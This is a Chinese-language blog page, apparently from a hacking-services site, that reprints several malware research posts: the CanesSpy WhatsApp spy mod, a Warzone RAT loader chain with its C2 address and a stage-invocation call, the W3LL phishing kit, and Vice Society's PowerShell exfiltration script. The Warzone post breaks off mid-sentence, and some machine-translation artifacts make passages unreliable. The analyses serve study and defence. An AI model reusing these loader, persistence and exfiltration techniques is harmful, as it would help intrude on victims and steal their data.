Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863106762

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

sl-green-eye-binary-spyware-1200-1200x600.jpg

一些流行的即時通訊服務經常會缺乏某些自定義功能，為了解決這個問題，第三方開發者會開發出一些mod（修改或增強程序），來提供一些受歡迎的功能。但其中一些mod在提供增強功能的同時也會加入一些惡意軟件。去年，卡巴斯基實驗室的研究人員在WhatsApp的一個mod中發現了Triada木馬。最近，他們又發現了一個嵌入間諜mod的Telegrammod，可通過Google Play傳播。

WhatsApp現在的情況與此相同：研究人員發現幾個之前無害的mod包含一個間諜mod，他們將該mod檢測為Trojan-Spy.AndroidOS.CanesSpy。

間諜mod是如何運行的？研究人員將通過80d7f95b7231cc857b331a993184499d示例來說明間諜mod的工作過程。

木馬化的客戶端清單包含在原始WhatsApp客戶端中找不到的可疑組件(服務和廣播接收器)。廣播接收器偵聽來自系統和其他應用程序的廣播，例如手機開始充電，收到的文本消息或下載程序完成下載；當接收方收到這樣的消息時，它調用事件處理程序。在WhatsApp間諜mod中，當手機開機或開始充電時，接收方會運行一項服務，啟動間諜mod。

1.png

可疑的應用組件

該服務查看惡意軟件代碼中的Application_DM常量，以選擇受攻擊設備將繼續聯繫的命令與控制(CC)服務器。

2.png

選擇命令和控制服務器

當惡意植入啟動時，它會沿著路徑/api/v1/AllRequest向攻擊運營商的服務器發送包含設備信息的POST請求。這些信息包括IMEI、電話號碼、移動國家代碼、移動網絡代碼等。該木馬還請求配置細節，例如上傳各種類型數據的路徑、向CC請求之間的間隔等。此外，該mod每五分鐘傳送一次有關受害者聯繫人和賬戶的信息。

3.png

在設備信息成功上傳後，惡意軟件開始以預先配置的間隔(默認為一分鐘)向CC詢問指令，開發人員稱之為“命令”。下表包含惡意軟件用於向服務器發送響應的命令和路徑的詳細描述：

4.png

發送到指揮控制服務器的信息引起了研究人員的注意，它們都是阿拉伯語，這表明開發者會說阿拉伯語。

WhatsApp間諜mod的攻擊目標在發現WhatsAppmod中的間諜mod後，研究人員決定找出它們是如何傳播的。分析發現，Telegram是主要來源。研究人員發現了一些Telegram通道，主要是阿拉伯語和阿塞拜疆語，其中最受歡迎的節目就有近200萬訂閱者。研究人員提醒Telegram，這些通道被用來傳播惡意軟件。

5.png

在從每個通道下載最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)後，研究人員發現它們包含上述間諜mod，這驗證了假設。

鑑於惡意軟件組件不是原始mod的一部分，研究人員檢查了幾個最近的版本，並確定了第一個被攻擊的版本。根據調查結果，該間諜軟件自2023年8月中旬以來一直活躍。在撰寫本文時，自那時以來在通道上發布的所有版本都包含惡意軟件。然而，後來(如果根據APK中的時間戳判斷，大約在10月20日左右)，至少一個通道中的至少一個最新版本被替換為一個乾淨的版本。

6.png

受攻擊應用程序中的DEX時間戳(左)和未攻擊版本中的DEX時間戳(右)

除了Telegram渠道，受攻擊的mod還通過各種可疑的網站傳播，這些網站專門用於修改WhatsApp。

新型WhatsApp間諜軟件的攻擊範圍10月5日至31日期間，卡巴斯基安全解決方案在100多個國家發現了34萬多次由WhatsApp間諜mod發起的攻擊。不過，如果考慮到傳播渠道的性質，實際安裝數量可能會高得多。攻擊次數最多的五個國家是阿塞拜疆、沙特阿拉伯、也門、土耳其和埃及。

7.png

按發現的WhatsApp間諜mod攻擊次數排名的前20個國家

總結研究人員看到包含惡意軟件代碼的即時通訊應用mod數量有所增加。 WhatsApp的mod大多是通過第三方Android應用商店傳播的，這些應用商店往往缺乏篩選，無法清除惡意軟件，其中如第三方應用商店和Telegram通道，很受歡迎。但為避免丟失個人數據，建議只使用官方即時通訊客戶端；如果用戶需要額外的功能，建議使用一個可靠的安全解決方案，可以檢測和阻止惡意軟件，以防被mod攻擊。

HireHackking

FortiGuard實驗室最近發現了一封假裝來自匈牙利政府的電子郵件。它通知用戶，他們的政府門戶的新憑證已經附加。然而，附件是一個壓縮的可執行文件，在執行時，它將把Warzone RAT提取到內存中並運行它。在我們最初發現的幾天后，匈牙利國家網絡安全中心也發布了關於這次攻擊的警告。

受影響的平台：Microsoft Windows；

受影響方：Microsoft Windows用戶；

影響：為攻擊者提供遠程訪問；

嚴重級別：高；

感染載體最初的感染是通過模仿匈牙利政府門戶網站的仿冒電子郵件（圖1）發生的。該門戶用於在線開展公務，如提交文件、訂購ID等。

1.png

含有Warzone RAT惡意軟件附件的惡意郵件

電子郵件告訴受害者，他們的憑據已更改，並附上了新的憑據。完整的翻譯是：

2.png

從語言上看，這封郵件是由母語為英語的人寫的，然而這封郵件並沒有使用官方通信應有的語法。

附件是一個zip文件，其中包含一個偽裝為PDF的可執行文件。如上圖所示，該文件包含一個模仿Adobe PDF Reader圖標的圖。文件名以pdf結尾，但擴展名為.exe。然而，在默認的Windows安裝中，文件擴展名是隱藏的，它看起來像一個實際的PDF文件。用戶唯一的警告是文件資源管理器將文件類型顯示為“應用程序”，這意味著它是可執行文件而不是文檔。但這對普通用戶來說可能並不明顯。

3.png

偽裝成PDF的可執行文件

俄羅斯套娃式的混淆當我們開始分析“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”時，我們很快意識到它就像一個俄羅斯套娃混淆，但不是每次打開一個娃娃都會得到一個更小的娃娃，而是得到越來越多的混淆的.NET二進製文件，這就是我們將在本節中看到的。

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”是一個32位的.NET可執行文件。一旦在dnspy（一個著名的.NET反編譯程序）中進行了反編譯，我們就會發現源代碼很簡單，同時也很容易混淆。代碼的一般結構如下圖所示。原始二進製文件可能在重命名為“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”之前被稱為iANO。

4.png

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”的程序結構

代碼顯示了BattleShipLiteLibrary和一個計算器的混合體，這看起來像是桌面遊戲Battleship的實現。下圖顯示了實現計算器的實際代碼。

5.png

計算器的實現

有時它看起來像一個計算器，行為也像一個計算器，但它仍然不是一個真正計算器。在本例中，為計算器設置用戶界面的InitializeComponent()函數也會在最後調用PerformLayout()函數。然後該函數繼續調用ResourceTemplateDefine()函數。

6.png

從資源加載代碼

ResourceTemplateDefine()函數加載名為“Web”的資源。起初，它似乎將其解釋為位圖，但最後，它將其轉換為程序集。如果我們在十六進制編輯器中查看這個資源，我們會看到它有一個位圖標頭。但是當我們進一步觀察時，它還包括MZ字符，這是可移植可執行文件(PE)的神奇值。在底部，我們甚至可以看到臭名昭著的“此程序不能在DOS模式下運行”字符串，這是PE文件的另一個標誌。

7.png

檢查“Web”資源發現它隱藏了一個PE文件

該PE文件從資源中加載。下圖顯示了使用GetMethod()加載它的方法，並調用其中一個方法。另一個圖顯示了在調試器中調用的方法是' sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY() '。

8.png

從PE文件加載並調用特定的方法

9.png

顯示被調用方法名稱的調試器

KeyNormalize.dll“Web”資源中的PE文件的原始名稱是KeyNormalize.dll。從被調用函數的名稱中，我們已經可以預期它是混淆的。由於它是另一個.NET可執行文件，我們可以在dnspy中打開它並輕鬆檢測，並使用SmartAssembly確認它已被混淆。

10.png

使用SmartAssembly混淆器

De4Dot是一個去混淆器工具，在消除二進製文件的混淆方面很有效率。但是，它不能解析混淆的字符串。為此，我們編寫了一個可以解析字符串的定製程序。

在靜態分析KeyNormalize.dll之後，我們看到它從資源加載另一個二進製文件並執行函數調用，如前面所示。

11.png

從資源加載程序集並調用它的一個函數

我們可以恢復二進製文件，並再次使用調試器調用哪個函數。下圖顯示了變量'text6 '中的base64編碼數據，在解碼之後，我們看到它是另一個PE文件。這個PE文件也是一個.NET可執行文件，最初稱為Metall.dll。

12.png

變量' text6 '中的Base64編碼數據

13.png

' text6 '中的數據是另一個PE文件

在調試器中，我們還可以看到在這個新恢復的PE文件中調用了' OwbdG5aNVQQYu6X20i.o9pVsMvoTr75y5TrkE.V4j9c6YCwC() '函數。

Metall.dll在開始分析這個二進製文件之後，我的第一反應如下圖所示。

14.png

metal .dll為遊戲添加了另一層混淆

不用說，metal .dll通過向二進製文件添加控制流扁平化等特性，增加了混淆的程度。當我們談到混淆器時，我們說他們的目標是減緩逆向進程。這在某種程度上是有效的。然而，在本例中，我們可以簡單地採取一個快捷方式，讓二進製文件運行並將其最終有效載荷加載到內存中。這樣，我們可以將其轉儲到一個文件中，以便進一步分析。

WarzoneRAT最終由metal .dll加載到內存中的有效負載是Warzone遠程訪問木馬(RAT)的一個版本。這是一個眾所周知的惡意軟件操作作為惡意軟件服務(MaaS)。它在互聯網上是公開的，任何人都可以通過訂閱模式訪問它。當前的定價如下圖所示。

15.png

Warzone RAT的當前定價

它為其訂戶提供以下功能：

Native,independentstub

CookiesRecovery

RemoteDesktop

HiddenRemoteDesktop-HRDP

PrivilegeEscalation-UACBypass

RemoteWebCam

PasswordRecovery

FileManager

DownloadExecute

LiveKeylogger

OfflineKeylogger

RemoteShell

ProcessManager

ReverseProxy

AutomaticTasks

MassExecute

SmartUpdater

HRDPWANDirectConnection

Persistence

WindowsDefenderBypass

WarzoneRAT通常也被稱為“Ave_Maria Stealer”，因為下圖所示的字符串出現在二進製文件中。

16.png

Ave_Maria Stealer名稱來自於二進製文件中的這個誤導性字符串

嵌入到GitHub的鏈接沒有提供任何有用的東西，這可能只是誤導逆向的另一種方式。

Warzone根據Windows版本提供多種升級權限的方法。其中一個是在同一個二進製文件中實現的，另一個作為WM_DSP資源添加到二進製文件中。如果需要，這將在運行時加載並執行。

17.png

可以在資源中找到一個特權升級漏洞

為了躲避防病毒軟件，Warzone試圖將自己添加到Windows Defender的排除列表中，如下圖所示。

18.png

Warzone將自己添加到防病毒排除列表中

為了建立持久性，它還將自身複製到以下路徑：

C:\Users\Admin\Documents\ Adobe5151.exe

Warzone還使用與其指揮控制服務器的加密通信。過去，加密的密碼/密鑰是字符串' warzone160\x00 '。在此示例中，它已更改為字符串“nevergonnagiveyouup”。所以，受害者在不知不覺的情況下被人用人力推倒。

19.png

使用新密碼進行加密

通過動態分析，C2服務器的地址為171.22.30.72:5151。在我們的內部系統中查找這個IP和端口號，如下圖所示。從這張圖中我們可以看到，這場特別的攻擊活動早在2022年6月20日就開始了。

20.png

訪問地址171.22.30.72:5151

可以看出，攻擊者用一封寫得很好的虛假政府郵件作為誘餌，執行所附的惡意軟件。這種誘惑是經過深思熟慮的，因為它與匈牙利所有使用在線管理門戶的人都相關。

嵌入式.NET二進製文件的russian yoshka doll具有越來越複雜的混淆功能，支持攻擊者越來越依賴現代混淆技術的趨勢。這將導致逆向工程師不得不投入更多的時間來清除和分析惡意軟件。使用Warzone RAT作為最終有效載荷也支持了攻擊者對MaaS服務日益增長的依賴。我們在勒索軟件樣本中看到了類似的趨勢，勒索軟件即服務提供商越來越受歡迎。

如上所述，該活動的最後一個有效載荷Warzone RAT是通過一系列混淆的.NET二進製文件部署的。每個階段都從二進製文件中的某個位置加載下一個階段，對其進行解碼，將其加載到內存中，並調用一個函數將控制流傳遞給下一個階段。這樣的多階段加載程序可能會使動態分析變得困難，因為每次重新啟動惡意軟件樣本時，在不同的階段進行導航都會很困難。為了避免這個問題，我們從各個階段創建了獨立的可執行文件，以實現更高效的調試。這就是我們將在下面討論的。

下圖顯示了Warzone RAT在這一特定攻擊中的部署鏈。釣魚電子郵件包含一個zip文件。該zip文件包含下圖所示的二進製文件。

2.1.png

拆封過程

一旦上一步被執行，它就加載下一步，KeysNormalize.dll一個解壓縮到內存中的.NET動態鏈接庫(DLL)。它通過調用它的一個函數(sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY())來運行。這篇文章討論瞭如何使用調試恢復。一種方法是使用dnspy作為調試器從內存中轉儲KeysNormalize.dll。它被一種叫做SmartAssembly的混淆工具混淆了。

要了解第三階段是什麼（Metal.dll）並將其轉儲到文件中，我們需要能夠調試KeysNormalize.dll。但在此之前，我們還面臨以下挑戰：

我們如何獨立於最初解包並在內存中運行它的可執行文件運行KeysNormalize.dll ?

我們如何為KeysNormalize.dll創建一個環境，讓它可以釋放下一個階段，就像在原始惡意軟件中那樣?

方案1：獨立運行KeysNormalize.dll因為這不是一個.exe文件，我們不能直接雙擊它來運行。此外，原始的.exe文件調用來自KeysNormalize.dll的特定函數，因此我們還必須確保在運行該DLL時調用相同的函數。

有多種方法可以做到這一點。在這種情況下，對我有用的是用c#創建一個包裝器程序，我在其中導入keysnormize . DLL作為一個正常的DLL，並簡單地調用sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY()函數。如果你是一個.NET/C#開發人員，這是非常容易的，而我不是，但如果你不經常這樣做，這可能會很有挑戰性。

設置Visual Studio首先，讓我們啟動Visual Studio並創建一個新的C#控制台應用程序（.NET Framework）項目，然後選擇.NET 4.7.2版本。我們可以調用這個項目dll_wrapper。默認情況下，它加載一個空類。但我們可以將其更改為下圖所示的代碼。

2.2.png

等待擊鍵的基本程序

此代碼將無限期等待按鍵，然後不執行任何操作。將此添加到代碼中的原因是我們無法在調試器中提前添加斷點。這樣，我們可以在程序等待按鍵時中斷執行，然後在需要時添加斷點。

導入KeysNormalize.dll下一步是在項目中包含KeysNormalize.dll。首先，我們將DLL複製到項目文件夾中。

2.3.png

將KeysNormalize.dll複製到項目文件夾中

我們還需要添加對KeysNormalize.dll的引用，這可以在Project-Add Project Reference-Browse-Choose the KeysNormalize.dll下完成。 KeysNormalize現在應該出現在SolutionExplorer的References下，如下圖所示。

2.4.png

將對DLL的引用添加到項目中

現在我們應該可以開始在項目中使用KeysNormalize.dll了。我們需要調用以下函數(我們從對原始二進製文件的分析中了解到這一點，這裡不討論)：

sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY('4F515364','746771','BattleshipLiteLibrary');

為此，我們首先需要導入sk41Ua2AFu5PANMKit，這是Program.cs中KeysNormalize中的命名空間。接下來，我們將上面的函數調用添加到按鍵循環之後的代碼中，如下圖所示。

2.5.png

導入庫並調用目標函數

如果運行此程序，則表示正在執行惡意負載，因此只能在隔離的安全系統上運行。

我們現在可以構建一個x86版本的二進製文件。如果我們運行該程序，無論是在Visual Studio中還是單獨運行，它都會崩潰並拋出異常，如下圖所示。

2.6.png

未找到資源，導致異常

從錯誤消息中，我們看到沒有找到BattleshipLiteLibrary.Properties.Resources.resources。該資源存在於第一階段二進製文件“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”或“iANO”中。

2.7.png

iANO二進製文件中的資源

這很有趣，因為這意味著儘管KeysNormalize是一個獨立的DLL，但它不能單獨工作。

方案2：創建BattleshipLiteLibrary.Properties.Resources.resources為了克服資源問題，我們需要滿足KeysNormalize.dll的需求，並創建一個名為BattleshipLiteLibrary.Properties.Resources.resources的資源。這並不像看上去那麼簡單。資源名的構建方式如下：

HireHackking

0.png

一夥名為W3LL的威脅分子開發了一個可以繞過多因素身份驗證的網絡釣魚工具包，還開發了入侵8000多個Microsoft 365企業帳戶的其他工具。

安全研究人員發現，在10個月內，W3LL的實用程序和基礎設施被用來搭建大約850個獨特的網絡釣魚網站，攻擊了56000餘個Microsoft 365帳戶的憑據。

發展壯大業務W3LL的定製網絡釣魚工具的服務對像是由至少500名網絡犯罪分子組成的社區，被用於商業電子郵件入侵（BEC）攻擊，造成了數百萬美元的經濟損失。

研究人員表示，W3LL的工具包幾乎涵蓋BEC行動的整條殺傷鏈，可以由“各種技術水平的網絡犯罪分子”操控。

網絡安全公司Group-IB在今天的一份報告中提供了有關W3LL的詳細信息，以及它如何發展成為對BEC組織而言最先進的惡意開發者之一。

表明W3LL活動的第一個證據似乎來自2017年，當時開發者開始提供一個用於電子郵件批量發送的自定義工具：W3LL SMTP Sender，用於發送垃圾郵件。

當開發者開始銷售針對Microsoft 365公司帳戶的定製網絡釣魚工具包時，這夥威脅分子的人氣和業務開始增長。

研究人員表示，2018年，W3LL推出了W3LL Store（說英文的交易平台），它可以在這裡向封閉的網絡犯罪分子社區推廣和銷售其工具。

Group-IB表示：“W3LL的主要武器W3LL Panel可以被認為是同類中最先進的網絡釣魚工具包之一，擁有中間攻擊者功能、API、源代碼保護及其他獨特功能。”

用於BEC攻擊的W3LL武器庫除了旨在繞過多因素身份驗證（MFA）的W3LL Panel外，威脅分子還提供了另外16個工具，所有這些工具都用於BEC攻擊。目錄包括如下：

•SMTP發送工具PunnySender和W3LL Sender

•惡意鏈接加載器（stager）W3LL Redirect

•一個名為OKELO的漏洞掃描器

•一個名為CONTOOL的帳戶自動發現實用程序

•一個名為LOMPAT的電子郵件驗證器

據Group-IB聲稱，W3LL Store提供了部署BEC攻擊的解決方案，從挑選受害者的初始階段，帶武器化附件（默認或定制）的網絡釣魚誘餌，到發送進入到受害者收件箱中的網絡釣魚郵件。

研究人員表示，W3LL有足夠嫻熟的技術，可以通過將工具部署和託管在受感染的Web服務器和服務上，保護工具不被檢測或關閉。

然而，客戶也可以選擇使用W3LL的OKELO掃描器來查找易受攻擊的系統，並自行獲得訪問權限。

1.png

圖1. 使用W3LL工具的BEC攻擊殺傷鏈（圖片來源：Group-IB）

繞過過濾器和安全代理W3LL用來繞過電子郵件過濾器和安全代理的一些技術包括針對電子郵件標題和文本主體（Punycode、HTML標籤、圖像和遠程內容鏈接）的各種混淆方法。

初始網絡釣魚鏈接也使用多種逃避檢測的方法來投遞。一種方法是通過網絡釣魚附件，而不是通過將它們嵌入在電子郵件正文中。

研究人員發現，鏈接被放在一個作為附件出現的HTML文件中。當受害者啟動惡意的HTML（可能偽裝成文檔或語音信息）時，會打開一個瀏覽器窗口，顯示“看起來像真的MS Outlook動畫”。

這是準備收集Microsoft 365帳戶憑據的W3LL Panel網絡釣魚頁面。

Group-IB分析了在野外發現的W3LL網絡釣魚附件後，注意到它是一個HTML文件，通過使用借助base64編碼混淆的JavaScript，在iframe中顯示了網站。

2.png

圖2. 在野外觀察到的W3LL網絡釣魚附件（圖片來源：Group-IB）

在6月底更新的新版本中，W3LL添加了多層混淆和編碼。它直接從W3LL Panel加載腳本，而不是將其包含在HTML代碼中。

最新版變體的事件鍊是這樣的：

3.png

圖3. 更新後的W3LL網絡釣魚附件（圖片來源：Group-IB）

劫持Microsoft 365企業帳戶Group-IB研究人員解釋，網絡釣魚誘餌中的初始鏈接並不導致W3LL Panel中虛假的Microsoft 365登錄頁面，它只是一條重定向鏈的開始，旨在防止發現W3LL Panel網絡釣魚頁面。

W3LL為了入侵Microsoft 365帳戶，使用了中間攻擊者/中間人（AitM/MitM）技術，即受害者和Microsoft服務器之間的通信通過W3LL Panel進行，W3LL Store充當後端系統。

目標是獲取受害者的身份驗證會話cookie。為了實現這一點，W3LL Panel需要經過幾個步驟，其中包括：

•通過CAPTCHA驗證

•創建正確的虛假登錄頁面

•驗證受害者的帳戶

•獲得目標組織的品牌標識

•獲取登錄過程的cookie

•識別帳戶類型

•驗證密碼

•獲取一次性密碼（OTP）

•獲取完成身份驗證的會話cookie

在W3LL Panel獲得身份驗證會話cookie後，該帳戶被入侵，並向受害者顯示一個PDF文檔，讓登錄請求看起來合法。

帳戶發現階段使用CONTOOL，攻擊者可以自動查找受害者使用的電子郵件、電話號碼、附件、文檔或URL，這可能有助於橫向移動階段。

該工具還可以監控、過濾和修改入站電子郵件，以及根據特定關鍵字接收Telegram帳戶通知。

據Group-IB聲稱，這種攻擊的典型結果是：

•數據盜取

•附有攻擊者付款信息的虛假髮票

•冒充專業服務人員向客戶發送欺詐性付款請求

•典型的BEC欺詐——訪問高管帳戶，並代表他們指示員工進行電匯或購物

•分發惡意軟件

牟取錢財Group-IB的報告深入研究了W3LL Panel的功能，從技術層面描述了一些功能如何實現預期目的，無論是逃避檢測還是收集數據。

W3LL Panel在開發者眼裡就是“皇冠上的寶石”，三個月收費500美元，每月續訂價格為150美元。還必須購買許可證以激活它。

以下是購買工具包和管理面板的頁面：

4.png

圖4. W3LL Store和W3LL Panel管理（圖片來源：Group-IB）

W3LL威脅分子已經存在了大約五年，積累了超過500名網絡犯罪分子的客戶群，有超過12000種工具可供選擇。

除了網絡釣魚和BEC相關的工具外，W3LL還提供權限，以便訪問被入侵的Web服務（web shell、電子郵件和內容管理系統）、SSH及RDP服務器、託管及雲服務帳戶、企業電子郵件域、VPN帳戶以及被劫持的電子郵件帳戶。

Group-IB的研究人員表示，在2022年10月至2023年7月這段期間，W3LL賣出了3800多個工具，估計營業額超過了50萬美元。

HireHackking

Ransomware-r3d1.png

Vice Society 是一種勒索軟件，採用強大的加密算法來鎖定存儲在受感染系統上的數據Vice Society 是一個相對較新的惡意軟件，於2021 年年中首次出現。

在最近一次事件響應（IR）活動中，unit42團隊發現，Vice Society勒索軟件組織使用自定義的Microsoft PowerShell（PS）腳本從受害者網絡中竊取數據。我們將對所使用的腳本進行分解，解釋每個函數是如何工作的，以便了解這種數據竊取方法。

該組織使用多種方法從受害者的網絡中竊取數據。一些使用者會使用外部工具，包括FileZilla、WinSCP和rclone等工具。還有使用者使用LOLBAS（Living off the Land Binaries And Scripts）技術，如PS腳本，通過遠程桌面協議（RDP）複製/粘貼和微軟的Win32 API（例如Wininet.dll調用）。讓我們來看看當使用PS腳本自動執行勒索軟件攻擊的數據洩露階段時會發生什麼。

使用LOLBAS等內置數據洩露方法的攻擊者不需要引入可能被安全軟件或基於人工的安全檢測機制標記的外部工具。這些方法還可以隱藏在一般操作環境中，很容易躲過安全檢測。

例如，PS腳本經常在典型的Windows環境中使用。當攻擊者想要悄無聲息地發起攻擊時，PS代碼通常是首選。

2023年初，unit42團隊發現Vice Society勒索軟件組織使用了一個名為為w1.ps1的腳本從受害網絡中竊取數據。在本例中，腳本是從Windows事件日誌(WEL)中恢復的。具體而言，該腳本是從Microsoft Windows PowerShell/Operational WEL提供程序中發現的事件ID 4104：腳本塊日誌記錄事件中恢復的。

雖然必須在Windows中啟用腳本塊日誌記錄才能記錄所有腳本塊，但Microsoft默認情況下使用一些未記錄的後端魔法來記錄其認為是惡意的事件。因此，即使在腳本塊日誌記錄尚未完全啟用的環境中，事件ID 4104事件也可能對你的分析有用。

unit42研究人員看到了使用以下PS命令執行的腳本：

1.png

此腳本調用使用統一資源名稱（URN）路徑中的本地域控制器（DC）IP地址（如上面的[redected_IP]所示），指定DC上的s$admin共享。請注意，由於腳本是通過客戶端的DC部署的，因此目標計算機可能是攻擊者尚未獲得直接訪問權限的計算機。因此，網絡中的任何端點都可能成為腳本的目標。為PS可執行文件提供-ExecutionPolicy Bypass參數以繞過任何執行策略限制。

該腳本不需要任何參數，因為從網絡複製哪些文件是腳本本身負責的。是的，你沒有看錯：腳本是自動化的，因此可以選擇應該竊取的數據。

腳本分析腳本首先聲明兩個用於受害者識別的常量$id和$token。在我們識別的腳本中，這些值分別被硬編碼為“TEST”和“TEST_1”:

2.png

從邏輯上講，這些變量可以設置為更具體的值，以識別實際的受害者。我們不確定這是否真的是一個測試階段，或者這些值是否會簡單地保持在這個測試狀態。

接下來，腳本聲明代碼庫中的重要函數。表1提供了腳本函數的概述。這是按照函數被調用的順序列出的，而不是它們被聲明的順序。

3.png

腳本函數概述

下圖概述了函數之間的流程，有助於突出顯示腳本的函數。

4.png

w1.ps1腳本的函數圖

起始進程在調用任何聲明的函數之前，腳本會通過Windows Management Instrumentation（WMI）識別系統上安裝的任何驅動器。通過一些簡單的篩選來獲取wmiobject win32_volume的調用提供了一個名為$drives的數組，該數組將包含安裝在計算機上的驅動器列表。然後將找到的每個驅動器路徑分別傳遞給Work()函數。下圖顯示了相關的代碼片段。

5.png

腳本的前導碼，用於識別並處理每個掛載卷

在前導碼中採取了以下操作：

1.它創建一個名為$drives的數組，並用主機上掛載的捲列表填充該數組。 win32_volume中的DriveType枚舉引用本地磁盤。有關詳細信息，請參閱Microsoft的Win32_Volume Class文檔。

2.它作為$drive遍歷主機上標識的驅動器，將每個標識的驅動器路徑傳遞給Work()函數。

下圖顯示了這段代碼在隻掛載了一個驅動器的普通Windows主機上可能執行的操作示例。

6.png

帶有單個掛載驅動器的主機上的$drives和$drive變量的示例值

對於標識的每個驅動器名稱，前導碼都會調用Work()函數來處理驅動器上的目錄。

Work()函數每次調用Work()時，函數都會作為$disk接收一個驅動器路徑，用於目錄搜索和處理。下圖顯示了Work()函數的開頭。

7.png

Work()函數的開頭

在上述代碼中採取以下操作：

1.它創建$folders和$jobs數組；

2.它創建$store元組，用於存儲上面創建的數組；

3.它聲明了Show()函數。

下圖顯示了Work()函數的其餘代碼，它位於Show()函數下方。

8.png

Work()函數的剩餘部分

在上述代碼中採取了以下操作：

4.它將當前卷字符串傳遞給Get-ChildItem，並篩選出一系列31個潛在的目錄路徑，以避免處理基於系統或應用程序的文件。然後，它將每個根目錄名稱傳遞給Show()函數以進行進一步處理。

有關被忽略的根目錄的列表，請參見附錄。

5.將根目錄文件夾傳遞給Show()函數後，Work()函數遞歸地搜索根目錄中的子目錄。與前面的篩選類似，與排除列表不匹配的子目錄會被發送到Show()函數進行處理。

有關被忽略的根子目錄的列表，請參見附錄。

6.Show()函數創建PowerShell作業以方便竊取數據。該函數一次處理5個目錄組。這部分代碼可以起到保護作用，以確保處理所有剩餘的文件夾分組。

例如，如果總共識別了212個目錄，這段代碼將確保處理最後兩個目錄。

Show() 函數Show()函數的作用是接收要處理的目錄名。 Show()函數的概述如下所示

9.png

Show()函數的概述

在上述代碼中採取了以下操作：

1.該函數收集提供的目錄名，直到它可以創建一個由5個目錄名組成的分組。一旦向函數提供了5個目錄名，它將它們傳遞給CreateJobLocal()函數以創建PowerShell作業，以便從目錄組中導出數據。

2.該腳本實現了速率限制，因為它一次只希望處理5個目錄組的最多10個作業。如果正在運行的作業超過10個，腳本將休眠5秒鐘，並重新檢查正在運行的作業的數量。

注意：這顯示了在整體腳本設計方面的專業編碼水平。腳本的編寫是為了避免主機的資源被淹沒。造成這種情況的確切原因在於開發者，但該方法與一般的編碼最佳實踐相一致。

CreateJobLocal()函數CreateJobLocal()函數為竊取數據設置了一個多處理隊列。下圖顯示了CreateJobLocal()函數的開頭部分。

10.png

CreateJobLocal()函數的概述

在上述代碼中採取了以下操作：

1.它為正在創建的作業創建一個偽隨機名稱。作業名稱將由5個字母字符組成(包括小寫和大寫字符)。

例如，以下是腳本在隨機調試會話中生成的五個作業名稱：iZUIb、dlHxF、VCHYu、FyrCb和GVILA。

2.它設置一個PowerShell作業，該作業具有一個代碼結構，該代碼結構將是腳本中此時創建的腳本塊。

此時，在CreateJobLocal()中聲明了fill()函數。我們將很快回到這個問題。首先，我們將繼續處理CreateJobLocal()函數的剩餘部分。下圖顯示了這段代碼的下一部分。

11.png

屬於CreateJobLocal()函數的附加代碼

下面是上述CreateJobLocal()代碼庫的描述：

3.它為要竊取的文件創建一個$fileList數組，然後循環遍歷當前組中的目錄(如上所述，它通常以五個為一組處理目錄)。

4.它設置名為$include和$ excluded的包含和排除數組。

5.有關這些數組的值列表，請參見附錄。

它循環遍歷給定目錄組中的目錄，並使用正則表達式根據$include數組中硬編碼的值篩選要包含的文件夾。

此時，函數使用excludes來進一步篩選應該被盜取的文件。

12.png

CreateJobLocal()函數的剩餘部分

以下是剩餘CreateJobLocal()代碼庫的描述：

1.如果某個目錄與包含列表匹配，則它會查找該目錄中沒有在排除列表中找到的擴展名、大於10 KB且具有擴展名的所有文件。

注意：測試證實，該腳本會忽略大小小於10 KB的文件和沒有文件擴展名的文件。

2.即使一個目錄沒有通過正則表達式匹配包含列表，也會檢查目錄的文件，以確定是否應將其包含在竊取內容中。

這看起來是文件匹配包含列表的第二次嘗試，因為比較是使用Get-ChildItem cmdlet的-Include參數完成的，而不是在上面第5步中執行正則表達式比較的-Like比較。

它循環遍歷標識為竊取的文件，並調用fill()函數來竊取每個文件。

下圖顯示了在我們的惡意軟件分析虛擬機（VM）中運行時選擇的第一組五個文件夾的腳本。這些值將因運行腳本的計算機而異。我們只是想展示腳本始在測試環境中搜索數據的位置。

13.png

該腳本的示例運行顯示了標識為竊取的前5個目錄

Fill()函數fill()函數執行實際的數據竊取。此函數用於構建將用於竊取文件的URL，並使用System.Net.Webclient對象通過HTTP POST事件使用對象的.UploadFile方法執行實際的竊取。下圖顯示了fill()函數。

14.png

fill()函數的概述

在上述代碼中採取了以下操作：

1.雖然從技術上講不是實際的fill()函數的一部分，但在每個文件上傳URL中都使用了整個腳本前兩行的變量$id和$token。

2.它構建了一個$prefix值，其中包括腳本中兩個最重要的攻擊指標（IoC）。

2.1 IP地址

這是攻擊者的基礎設施/服務器IP地址，文件將被上傳到該IP地址。

2.2網絡端口號

這個端口號可以是80443，也可以是一個自定義端口號，例如通常與臨時端口範圍相關聯的端口號。

3.它實例化一個WebClient對象，該對象將用於執行基於HTTP的數據竊取。

4.它構建了一個$fullPath變量，這是正在上傳文件的完整文件路徑。

注意：這一點很重要，因為這意味著每個HTTPPOST事件都將包括文件的完整路徑。如果你能夠通過此路徑獲得源主機的IP地址，那麼你將能夠在事後構建一個被竊取文件的列表。

5.它通過組合$prefix、$token、$id和$fullPath變量來構建文件上傳的完整URL $uri。

6.它調用WebClient.UploadFile()方法來上傳文件。

注意：這將創建一個HTTP POST事件。

HTTP活動示例為了查看腳本的POST請求在攻擊者的web服務器上是什麼樣子，研究人員在本地虛擬機上設置了一個服務器，引導他們的惡意軟件分析機器使用該虛擬機作為其網關並運行腳本。下面是腳本在測試環境中執行時創建的三個POST請求示例。

15.png

